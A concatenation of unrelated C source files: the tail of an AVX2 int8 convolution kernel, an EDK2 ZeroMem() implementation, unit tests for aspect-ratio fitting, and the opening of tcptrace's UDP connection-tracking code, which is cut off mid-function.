const __m128i vprod3x89ABCDEF = _mm256_extracti128_si256(vprod3x0123456789ABCDEF, 1);
vacc01234567 = _mm256_add_epi32(vacc01234567, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod3x0123456789ABCDEF)));
vacc89ABCDEF = _mm256_add_epi32(vacc89ABCDEF, _mm256_cvtepi16_epi32(vprod3x89ABCDEF));
const __m256i vi4x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) i4));
const __m256i vk4x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) (k + 128)));
i4 += 16;
const __m256i vprod4x0123456789ABCDEF = _mm256_mullo_epi16(vi4x0123456789ABCDEF, vk4x0123456789ABCDEF);
const __m128i vprod4x89ABCDEF = _mm256_extracti128_si256(vprod4x0123456789ABCDEF, 1);
vacc01234567 = _mm256_add_epi32(vacc01234567, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod4x0123456789ABCDEF)));
vacc89ABCDEF = _mm256_add_epi32(vacc89ABCDEF, _mm256_cvtepi16_epi32(vprod4x89ABCDEF));
const __m256i vi5x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) i5));
const __m256i vk5x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) (k + 160)));
i5 += 16;
const __m256i vprod5x0123456789ABCDEF = _mm256_mullo_epi16(vi5x0123456789ABCDEF, vk5x0123456789ABCDEF);
const __m128i vprod5x89ABCDEF = _mm256_extracti128_si256(vprod5x0123456789ABCDEF, 1);
vacc01234567 = _mm256_add_epi32(vacc01234567, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod5x0123456789ABCDEF)));
vacc89ABCDEF = _mm256_add_epi32(vacc89ABCDEF, _mm256_cvtepi16_epi32(vprod5x89ABCDEF));
const __m256i vi6x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) i6));
const __m256i vk6x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) (k + 192)));
i6 += 16;
const __m256i vprod6x0123456789ABCDEF = _mm256_mullo_epi16(vi6x0123456789ABCDEF, vk6x0123456789ABCDEF);
const __m128i vprod6x89ABCDEF = _mm256_extracti128_si256(vprod6x0123456789ABCDEF, 1);
vacc01234567 = _mm256_add_epi32(vacc01234567, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod6x0123456789ABCDEF)));
vacc89ABCDEF = _mm256_add_epi32(vacc89ABCDEF, _mm256_cvtepi16_epi32(vprod6x89ABCDEF));
const __m256i vi7x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) i7));
const __m256i vk7x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) (k + 224)));
i7 += 16;
const __m256i vprod7x0123456789ABCDEF = _mm256_mullo_epi16(vi7x0123456789ABCDEF, vk7x0123456789ABCDEF);
const __m128i vprod7x89ABCDEF = _mm256_extracti128_si256(vprod7x0123456789ABCDEF, 1);
vacc01234567 = _mm256_add_epi32(vacc01234567, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod7x0123456789ABCDEF)));
vacc89ABCDEF = _mm256_add_epi32(vacc89ABCDEF, _mm256_cvtepi16_epi32(vprod7x89ABCDEF));
const __m256i vi8x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) i8));
const __m256i vk8x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) (k + 256)));
i8 += 16;
const __m256i vprod8x0123456789ABCDEF = _mm256_mullo_epi16(vi8x0123456789ABCDEF, vk8x0123456789ABCDEF);
const __m128i vprod8x89ABCDEF = _mm256_extracti128_si256(vprod8x0123456789ABCDEF, 1);
vacc01234567 = _mm256_add_epi32(vacc01234567, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod8x0123456789ABCDEF)));
vacc89ABCDEF = _mm256_add_epi32(vacc89ABCDEF, _mm256_cvtepi16_epi32(vprod8x89ABCDEF));
const __m256i vi9x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) i9));
const __m256i vk9x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) (k + 288)));
i9 += 16;
const __m256i vprod9x0123456789ABCDEF = _mm256_mullo_epi16(vi9x0123456789ABCDEF, vk9x0123456789ABCDEF);
const __m128i vprod9x89ABCDEF = _mm256_extracti128_si256(vprod9x0123456789ABCDEF, 1);
vacc01234567 = _mm256_add_epi32(vacc01234567, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod9x0123456789ABCDEF)));
vacc89ABCDEF = _mm256_add_epi32(vacc89ABCDEF, _mm256_cvtepi16_epi32(vprod9x89ABCDEF));
const __m256i vi10x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) i10));
const __m256i vk10x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) (k + 320)));
i10 += 16;
const __m256i vprod10x0123456789ABCDEF = _mm256_mullo_epi16(vi10x0123456789ABCDEF, vk10x0123456789ABCDEF);
const __m128i vprod10x89ABCDEF = _mm256_extracti128_si256(vprod10x0123456789ABCDEF, 1);
vacc01234567 = _mm256_add_epi32(vacc01234567, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod10x0123456789ABCDEF)));
vacc89ABCDEF = _mm256_add_epi32(vacc89ABCDEF, _mm256_cvtepi16_epi32(vprod10x89ABCDEF));
const __m256i vi11x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) i11));
const __m256i vk11x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) (k + 352)));
i11 += 16;
const __m256i vprod11x0123456789ABCDEF = _mm256_mullo_epi16(vi11x0123456789ABCDEF, vk11x0123456789ABCDEF);
const __m128i vprod11x89ABCDEF = _mm256_extracti128_si256(vprod11x0123456789ABCDEF, 1);
vacc01234567 = _mm256_add_epi32(vacc01234567, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod11x0123456789ABCDEF)));
vacc89ABCDEF = _mm256_add_epi32(vacc89ABCDEF, _mm256_cvtepi16_epi32(vprod11x89ABCDEF));
const __m256i vi12x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) i12));
const __m256i vk12x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) (k + 384)));
i12 += 16;
const __m256i vprod12x0123456789ABCDEF = _mm256_mullo_epi16(vi12x0123456789ABCDEF, vk12x0123456789ABCDEF);
const __m128i vprod12x89ABCDEF = _mm256_extracti128_si256(vprod12x0123456789ABCDEF, 1);
vacc01234567 = _mm256_add_epi32(vacc01234567, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod12x0123456789ABCDEF)));
vacc89ABCDEF = _mm256_add_epi32(vacc89ABCDEF, _mm256_cvtepi16_epi32(vprod12x89ABCDEF));
const __m256i vi13x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) i13));
const __m256i vk13x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) (k + 416)));
i13 += 16;
const __m256i vprod13x0123456789ABCDEF = _mm256_mullo_epi16(vi13x0123456789ABCDEF, vk13x0123456789ABCDEF);
const __m128i vprod13x89ABCDEF = _mm256_extracti128_si256(vprod13x0123456789ABCDEF, 1);
vacc01234567 = _mm256_add_epi32(vacc01234567, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod13x0123456789ABCDEF)));
vacc89ABCDEF = _mm256_add_epi32(vacc89ABCDEF, _mm256_cvtepi16_epi32(vprod13x89ABCDEF));
const __m256i vi14x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) i14));
const __m256i vk14x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) (k + 448)));
i14 += 16;
const __m256i vprod14x0123456789ABCDEF = _mm256_mullo_epi16(vi14x0123456789ABCDEF, vk14x0123456789ABCDEF);
const __m128i vprod14x89ABCDEF = _mm256_extracti128_si256(vprod14x0123456789ABCDEF, 1);
vacc01234567 = _mm256_add_epi32(vacc01234567, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod14x0123456789ABCDEF)));
vacc89ABCDEF = _mm256_add_epi32(vacc89ABCDEF, _mm256_cvtepi16_epi32(vprod14x89ABCDEF));
const __m256i vi15x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) i15));
const __m256i vk15x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) (k + 480)));
i15 += 16;
const __m256i vprod15x0123456789ABCDEF = _mm256_mullo_epi16(vi15x0123456789ABCDEF, vk15x0123456789ABCDEF);
const __m128i vprod15x89ABCDEF = _mm256_extracti128_si256(vprod15x0123456789ABCDEF, 1);
vacc01234567 = _mm256_add_epi32(vacc01234567, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod15x0123456789ABCDEF)));
vacc89ABCDEF = _mm256_add_epi32(vacc89ABCDEF, _mm256_cvtepi16_epi32(vprod15x89ABCDEF));
const __m256i vi16x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) i16));
const __m256i vk16x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) (k + 512)));
i16 += 16;
const __m256i vprod16x0123456789ABCDEF = _mm256_mullo_epi16(vi16x0123456789ABCDEF, vk16x0123456789ABCDEF);
const __m128i vprod16x89ABCDEF = _mm256_extracti128_si256(vprod16x0123456789ABCDEF, 1);
vacc01234567 = _mm256_add_epi32(vacc01234567, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod16x0123456789ABCDEF)));
vacc89ABCDEF = _mm256_add_epi32(vacc89ABCDEF, _mm256_cvtepi16_epi32(vprod16x89ABCDEF));
const __m256i vi17x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) i17));
const __m256i vk17x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) (k + 544)));
i17 += 16;
const __m256i vprod17x0123456789ABCDEF = _mm256_mullo_epi16(vi17x0123456789ABCDEF, vk17x0123456789ABCDEF);
const __m128i vprod17x89ABCDEF = _mm256_extracti128_si256(vprod17x0123456789ABCDEF, 1);
vacc01234567 = _mm256_add_epi32(vacc01234567, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod17x0123456789ABCDEF)));
vacc89ABCDEF = _mm256_add_epi32(vacc89ABCDEF, _mm256_cvtepi16_epi32(vprod17x89ABCDEF));
const __m256i vi18x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) i18));
const __m256i vk18x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) (k + 576)));
i18 += 16;
const __m256i vprod18x0123456789ABCDEF = _mm256_mullo_epi16(vi18x0123456789ABCDEF, vk18x0123456789ABCDEF);
const __m128i vprod18x89ABCDEF = _mm256_extracti128_si256(vprod18x0123456789ABCDEF, 1);
vacc01234567 = _mm256_add_epi32(vacc01234567, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod18x0123456789ABCDEF)));
vacc89ABCDEF = _mm256_add_epi32(vacc89ABCDEF, _mm256_cvtepi16_epi32(vprod18x89ABCDEF));
const __m256i vi19x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) i19));
const __m256i vk19x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) (k + 608)));
i19 += 16;
const __m256i vprod19x0123456789ABCDEF = _mm256_mullo_epi16(vi19x0123456789ABCDEF, vk19x0123456789ABCDEF);
const __m128i vprod19x89ABCDEF = _mm256_extracti128_si256(vprod19x0123456789ABCDEF, 1);
vacc01234567 = _mm256_add_epi32(vacc01234567, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod19x0123456789ABCDEF)));
vacc89ABCDEF = _mm256_add_epi32(vacc89ABCDEF, _mm256_cvtepi16_epi32(vprod19x89ABCDEF));
const __m256i vi20x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) i20));
const __m256i vk20x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) (k + 640)));
i20 += 16;
const __m256i vprod20x0123456789ABCDEF = _mm256_mullo_epi16(vi20x0123456789ABCDEF, vk20x0123456789ABCDEF);
const __m128i vprod20x89ABCDEF = _mm256_extracti128_si256(vprod20x0123456789ABCDEF, 1);
vacc01234567 = _mm256_add_epi32(vacc01234567, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod20x0123456789ABCDEF)));
vacc89ABCDEF = _mm256_add_epi32(vacc89ABCDEF, _mm256_cvtepi16_epi32(vprod20x89ABCDEF));
const __m256i vi21x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) i21));
const __m256i vk21x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) (k + 672)));
i21 += 16;
const __m256i vprod21x0123456789ABCDEF = _mm256_mullo_epi16(vi21x0123456789ABCDEF, vk21x0123456789ABCDEF);
const __m128i vprod21x89ABCDEF = _mm256_extracti128_si256(vprod21x0123456789ABCDEF, 1);
vacc01234567 = _mm256_add_epi32(vacc01234567, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod21x0123456789ABCDEF)));
vacc89ABCDEF = _mm256_add_epi32(vacc89ABCDEF, _mm256_cvtepi16_epi32(vprod21x89ABCDEF));
const __m256i vi22x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) i22));
const __m256i vk22x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) (k + 704)));
i22 += 16;
const __m256i vprod22x0123456789ABCDEF = _mm256_mullo_epi16(vi22x0123456789ABCDEF, vk22x0123456789ABCDEF);
const __m128i vprod22x89ABCDEF = _mm256_extracti128_si256(vprod22x0123456789ABCDEF, 1);
vacc01234567 = _mm256_add_epi32(vacc01234567, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod22x0123456789ABCDEF)));
vacc89ABCDEF = _mm256_add_epi32(vacc89ABCDEF, _mm256_cvtepi16_epi32(vprod22x89ABCDEF));
const __m256i vi23x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) i23));
const __m256i vk23x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) (k + 736)));
i23 += 16;
const __m256i vprod23x0123456789ABCDEF = _mm256_mullo_epi16(vi23x0123456789ABCDEF, vk23x0123456789ABCDEF);
const __m128i vprod23x89ABCDEF = _mm256_extracti128_si256(vprod23x0123456789ABCDEF, 1);
vacc01234567 = _mm256_add_epi32(vacc01234567, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod23x0123456789ABCDEF)));
vacc89ABCDEF = _mm256_add_epi32(vacc89ABCDEF, _mm256_cvtepi16_epi32(vprod23x89ABCDEF));
const __m256i vi24x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) i24));
const __m256i vk24x0123456789ABCDEF = _mm256_cvtepi8_epi16(_mm_loadu_si128((const __m128i*) (k + 768)));
i24 += 16;
const __m256i vprod24x0123456789ABCDEF = _mm256_mullo_epi16(vi24x0123456789ABCDEF, vk24x0123456789ABCDEF);
const __m128i vprod24x89ABCDEF = _mm256_extracti128_si256(vprod24x0123456789ABCDEF, 1);
vacc01234567 = _mm256_add_epi32(vacc01234567, _mm256_cvtepi16_epi32(_mm256_castsi256_si128(vprod24x0123456789ABCDEF)));
vacc89ABCDEF = _mm256_add_epi32(vacc89ABCDEF, _mm256_cvtepi16_epi32(vprod24x89ABCDEF));
k += 16;
__m256 vfpacc01234567 = _mm256_cvtepi32_ps(vacc01234567);
__m256 vfpacc89ABCDEF = _mm256_cvtepi32_ps(vacc89ABCDEF);
const __m256 vscale = _mm256_load_ps(params->fp32_avx2.scale);
vfpacc01234567 = _mm256_mul_ps(vfpacc01234567, vscale);
vfpacc89ABCDEF = _mm256_mul_ps(vfpacc89ABCDEF, vscale);
vacc01234567 = _mm256_cvtps_epi32(vfpacc01234567);
vacc89ABCDEF = _mm256_cvtps_epi32(vfpacc89ABCDEF);
w = (const void*) ((uintptr_t) w + 16 * sizeof(int32_t));
const __m128i voutput_zero_point = _mm_load_si128((const __m128i*) params->fp32_avx2.output_zero_point);
__m128i vout01234567 = _mm_adds_epi16(_mm_packs_epi32(_mm256_castsi256_si128(vacc01234567), _mm256_extracti128_si256(vacc01234567, 1)), voutput_zero_point);
__m128i vout89ABCDEF = _mm_adds_epi16(_mm_packs_epi32(_mm256_castsi256_si128(vacc89ABCDEF), _mm256_extracti128_si256(vacc89ABCDEF, 1)), voutput_zero_point);
const __m128i voutput_min = _mm_load_si128((const __m128i*) params->fp32_avx2.output_min);
const __m128i voutput_max = _mm_load_si128((const __m128i*) params->fp32_avx2.output_max);
__m128i vout0123456789ABCDEF = _mm_packs_epi16(vout01234567, vout89ABCDEF);
vout0123456789ABCDEF = _mm_min_epi8(_mm_max_epi8(vout0123456789ABCDEF, voutput_min), voutput_max);
if XNN_LIKELY(c >= 16) {
_mm_storeu_si128((__m128i*) output, vout0123456789ABCDEF);
output += 16;
c -= 16;
} else {
if (c & 8) {
_mm_storel_epi64((__m128i*) output, vout0123456789ABCDEF);
vout0123456789ABCDEF = _mm_unpackhi_epi64(vout0123456789ABCDEF, vout0123456789ABCDEF);
output += 8;
}
if (c & 4) {
*((uint32_t*) output) = (uint32_t) _mm_cvtsi128_si32(vout0123456789ABCDEF);
vout0123456789ABCDEF = _mm_srli_epi64(vout0123456789ABCDEF, 32);
output += 4;
}
if (c & 2) {
*((uint16_t*) output) = (uint16_t) _mm_extract_epi16(vout0123456789ABCDEF, 0);
vout0123456789ABCDEF = _mm_srli_epi32(vout0123456789ABCDEF, 16);
output += 2;
}
if (c & 1) {
*output = (int8_t) _mm_extract_epi8(vout0123456789ABCDEF, 0);
output += 1;
}
c = 0;
}
} while (c != 0);
}
output = (int8_t*) ((uintptr_t) output + output_increment);
} while (--output_width != 0);
}
|
602559.c | /** @file
ZeroMem() implementation.
The following BaseMemoryLib instances contain the same copy of this file:
BaseMemoryLib
BaseMemoryLibMmx
BaseMemoryLibSse2
BaseMemoryLibRepStr
BaseMemoryLibOptDxe
BaseMemoryLibOptPei
PeiMemoryLib
UefiMemoryLib
Copyright (c) 2006 - 2010, Intel Corporation. All rights reserved.<BR>
This program and the accompanying materials
are licensed and made available under the terms and conditions of the BSD License
which accompanies this distribution. The full text of the license may be found at
http://opensource.org/licenses/bsd-license.php.
THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
**/
#include "MemLibInternals.h"
/**
Fills a target buffer with zeros, and returns the target buffer.
This function fills Length bytes of Buffer with zeros, and returns Buffer.
If Length > 0 and Buffer is NULL, then ASSERT().
If Length is greater than (MAX_ADDRESS - Buffer + 1), then ASSERT().
@param Buffer The pointer to the target buffer to fill with zeros.
@param Length The number of bytes in Buffer to fill with zeros.
@return Buffer.
**/
VOID *
EFIAPI
ZeroMem (
OUT VOID *Buffer,
IN UINTN Length
)
{
if (Length == 0) {
return Buffer;
}
ASSERT (Buffer != NULL);
ASSERT (Length <= (MAX_ADDRESS - (UINTN)Buffer + 1));
return InternalMemZeroMem (Buffer, Length);
}
|
484683.c | #include <calendon/test.h>
#include <calendon/cn.h>
#include <calendon/aspect-ratio.h>
bool cnDimension2u32_Equal(CnDimension2u32 left, CnDimension2u32 right)
{
return left.width == right.width && left.height == right.height;
}
CN_TEST_SUITE_BEGIN("aspect ratio")
CN_TEST_UNIT("Same fits same") {
const CnDimension2u32 source = (CnDimension2u32) { .width = 1024, .height = 768};
const CnDimension2u32 destination = (CnDimension2u32) { .width = 1024, .height = 768 };
const CnTransform2 transform = cnAspectRatio_fit(source, destination);
CN_TEST_ASSERT_TRUE(cnFloat2_DistanceSquared(cnTransform2_Scale(transform),
cnFloat2_Make(1.0f, 1.0f)) < 0.1f);
CN_TEST_ASSERT_TRUE(cnFloat2_DistanceSquared(cnTransform2_Translation(transform),
cnFloat2_Make(0.0f, 0.0f)) < 0.1f);
}
CN_TEST_UNIT("Upscaling same size") {
const CnDimension2u32 source = (CnDimension2u32) { .width = 1024, .height = 768 };
const CnDimension2u32 destination = (CnDimension2u32) { .width = 2048, .height = 1536 };
const CnTransform2 transform = cnAspectRatio_fit(source, destination);
CN_TEST_ASSERT_TRUE(cnFloat2_DistanceSquared(cnTransform2_Scale(transform),
cnFloat2_Make(2.0f, 2.0f)) < 0.1f);
CN_TEST_ASSERT_TRUE(cnFloat2_DistanceSquared(cnTransform2_Translation(transform),
cnFloat2_Make(0.0f, 0.0f)) < 0.1f);
}
CN_TEST_UNIT("Downscaling same size") {
const CnDimension2u32 source = (CnDimension2u32) { .width = 2048, .height = 1536 };
const CnDimension2u32 destination = (CnDimension2u32) { .width = 1024, .height = 768 };
const CnTransform2 transform = cnAspectRatio_fit(source, destination);
CN_TEST_ASSERT_TRUE(cnFloat2_DistanceSquared(cnTransform2_Scale(transform),
cnFloat2_Make(0.5f, 0.5f)) < 0.1f);
CN_TEST_ASSERT_TRUE(cnFloat2_DistanceSquared(cnTransform2_Translation(transform),
cnFloat2_Make(0.0f, 0.0f)) < 0.1f);
}
CN_TEST_UNIT("Fit upscaling (narrow to wide)") {
const CnDimension2u32 source = (CnDimension2u32) { .width = 800, .height = 600 };
const CnDimension2u32 destination = (CnDimension2u32) { .width = 1920, .height = 1080 };
const CnTransform2 transform = cnAspectRatio_fit(source, destination);
CN_TEST_ASSERT_TRUE(cnFloat2_DistanceSquared(cnTransform2_Scale(transform),
cnFloat2_Make(1.8f, 1.8f)) < 0.1f);
// The transform should scale to 1440x1080, which needs a 240 unit X translation.
CN_TEST_ASSERT_TRUE(cnFloat2_DistanceSquared(cnTransform2_Translation(transform),
cnFloat2_Make(240.0f, 0.0f)) < 0.1f);
}
CN_TEST_UNIT("Fit downscaling (wide to narrow)") {
const CnDimension2u32 source = (CnDimension2u32) { .width = 1920, .height = 1080 };
const CnDimension2u32 destination = (CnDimension2u32) { .width = 800, .height = 600 };
const CnTransform2 transform = cnAspectRatio_fit(source, destination);
CN_TEST_ASSERT_TRUE(cnFloat2_DistanceSquared(cnTransform2_Scale(transform),
cnFloat2_Make(0.4167f, 0.4167f)) < 0.1f);
// The transform should scale to 800x450, which needs a 75 unit Y translation.
CN_TEST_ASSERT_TRUE(cnFloat2_DistanceSquared(cnTransform2_Translation(transform),
cnFloat2_Make(0.0f, 75.0f)) < 0.1f);
}
CN_TEST_SUITE_END
|
283275.c | /*
* Copyright (c) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001,
* 2002, 2003, 2004
* Ohio University.
*
* ---
*
* Starting with the release of tcptrace version 6 in 2001, tcptrace
* is licensed under the GNU General Public License (GPL). We believe
* that, among the available licenses, the GPL will do the best job of
* allowing tcptrace to continue to be a valuable, freely-available
* and well-maintained tool for the networking community.
*
* Previous versions of tcptrace were released under a license that
* was much less restrictive with respect to how tcptrace could be
* used in commercial products. Because of this, I am willing to
* consider alternate license arrangements as allowed in Section 10 of
* the GNU GPL. Before I would consider licensing tcptrace under an
* alternate agreement with a particular individual or company,
* however, I would have to be convinced that such an alternative
* would be to the greater benefit of the networking community.
*
* ---
*
* This file is part of Tcptrace.
*
* Tcptrace was originally written and continues to be maintained by
* Shawn Ostermann with the help of a group of devoted students and
* users (see the file 'THANKS'). The work on tcptrace has been made
* possible over the years through the generous support of NASA GRC,
* the National Science Foundation, and Sun Microsystems.
*
* Tcptrace is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* Tcptrace is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with Tcptrace (in the file 'COPYING'); if not, write to the
* Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston,
* MA 02111-1307 USA
*
* Author: Shawn Ostermann
* School of Electrical Engineering and Computer Science
* Ohio University
* Athens, OH
* [email protected]
* http://www.tcptrace.org/
*/
#include "tcptrace.h"
static char const GCC_UNUSED copyright[] =
"@(#)Copyright (c) 2004 -- Ohio University.\n";
static char const GCC_UNUSED rcsid[] =
"@(#)$Header: /usr/local/cvs/tcptrace/udp.c,v 5.9 2003/11/19 14:38:06 sdo Exp $";
#include "gcache.h"
/* locally global variables */
static int packet_count = 0;
static int search_count = 0;
static Bool *ignore_pairs = NULL;/* which ones will we ignore */
static Bool more_conns_ignored = FALSE;
/* provided globals */
int num_udp_pairs = -1; /* how many pairs we've allocated */
udp_pair **utp = NULL; /* array of pointers to allocated pairs */
int max_udp_pairs = 64; /* initial value, automatically increases */
u_long udp_trace_count = 0;
/* local routine definitions */
static udp_pair *NewUTP(struct ip *, struct udphdr *);
static udp_pair *FindUTP(struct ip *, struct udphdr *, int *);
static void MoreUdpPairs(int num_needed);
static udp_pair *
NewUTP(
struct ip *pip,
struct udphdr *pudp)
{
udp_pair *pup;
if (0) {
printf("trace.c:NewUTP() calling MakeUdpPair()\n");
}
pup = MakeUdpPair();
++num_udp_pairs;
/* make a new one, if possible */
if ((num_udp_pairs+1) >= max_udp_pairs) {
MoreUdpPairs(num_udp_pairs+1);
}
/* create a new UDP pair record and remember where you put it */
utp[num_udp_pairs] = pup;
pup->ignore_pair=ignore_pairs[num_udp_pairs];
/* grab the address from this packet */
CopyAddr(&pup->addr_pair,
pip, ntohs(pudp->uh_sport), ntohs(pudp->uh_dport));
/* data structure setup */
pup->a2b.pup = pup;
pup->b2a.pup = pup;
pup->a2b.ptwin = &pup->b2a;
pup->b2a.ptwin = &pup->a2b;
/* fill in connection name fields */
pup->a2b.host_letter = strdup(NextHostLetter());
pup->b2a.host_letter = strdup(NextHostLetter());
pup->a_hostname = strdup(HostName(pup->addr_pair.a_address));
pup->a_portname = strdup(ServiceName(pup->addr_pair.a_port));
pup->a_endpoint =
strdup(EndpointName(pup->addr_pair.a_address,
pup->addr_pair.a_port));
pup->b_hostname = strdup(HostName(pup->addr_pair.b_address));
pup->b_portname = strdup(ServiceName(pup->addr_pair.b_port));
pup->b_endpoint =
strdup(EndpointName(pup->addr_pair.b_address,
pup->addr_pair.b_port));
pup->filename = cur_filename;
return(pup);
}
/* connection records are stored in a hash table. Buckets are linked */
/* lists sorted by most recent access. */
#define HASH_TABLE_SIZE 1021 /* oughta be prime */
static udp_pair *
FindUTP(
struct ip *pip,
struct udphdr *pudp,
int *pdir)
{
static udp_pair *pup_hashtable[HASH_TABLE_SIZE] = {NULL};
udp_pair **ppup_head = NULL;
udp_pair *pup;
udp_pair *pup_last;
udp_pair tp_in;
int dir;
hash hval;
/* grab the address from this packet */
CopyAddr(&tp_in.addr_pair, pip,
ntohs(pudp->uh_sport), ntohs(pudp->uh_dport));
/* grab the hash value (already computed by CopyAddr) */
hval = tp_in.addr_pair.hash % HASH_TABLE_SIZE;
pup_last = NULL;
ppup_head = &pup_hashtable[hval];
for (pup = *ppup_head; pup; pup=pup->next) {
++search_count;
if (SameConn(&tp_in.addr_pair,&pup->addr_pair,&dir)) {
/* move to head of access list (unless already there) */
if (pup != *ppup_head) {
pup_last->next = pup->next; /* unlink */
pup->next = *ppup_head; /* move to head */
*ppup_head = pup;
}
*pdir = dir;
return(pup);
}
pup_last = pup;
}
/* Didn't find it, make a new one, if possible */
pup = NewUTP(pip,pudp);
/* put at the head of the access list */
if (pup) {
pup->next = *ppup_head;
*ppup_head = pup;
}
*pdir = A2B;
return(pup);
}
void IgnoreUDPConn(
int ix)
{
if (debug)
fprintf(stderr,"ignoring conn %d\n", ix);
--ix;
MoreUdpPairs(ix);
more_conns_ignored=FALSE;
ignore_pairs[ix]=TRUE;
}
void
OnlyUDPConn(
int ix_only)
{
int ix;
static Bool cleared = FALSE;
if (debug) fprintf(stderr,"only printing conn %d\n", ix_only);
--ix_only;
MoreUdpPairs(ix_only);
if (!cleared) {
for (ix = 0; ix < max_udp_pairs; ++ix) {
ignore_pairs[ix] = TRUE;
}
cleared = TRUE;
}
more_conns_ignored = TRUE;
ignore_pairs[ix_only] = FALSE;
}
udp_pair *
udpdotrace(
struct ip *pip,
struct udphdr *pudp,
void *plast)
{
udp_pair *pup_save;
ucb *thisdir;
ucb *otherdir;
udp_pair tp_in;
int dir;
u_short uh_sport; /* source port */
u_short uh_dport; /* destination port */
u_short uh_ulen; /* data length */
/* make sure we have enough of the packet */
if ((char *)pudp + sizeof(struct udphdr)-1 > (char *)plast) {
if (warn_printtrunc)
fprintf(stderr,
"UDP packet %lu truncated too short to trace, ignored\n",
pnum);
++ctrunc;
return(NULL);
}
/* convert interesting fields to local byte order */
uh_sport = ntohs(pudp->uh_sport);
uh_dport = ntohs(pudp->uh_dport);
uh_ulen = ntohs(pudp->uh_ulen);
/* make sure this is one of the connections we want */
pup_save = FindUTP(pip,pudp,&dir);
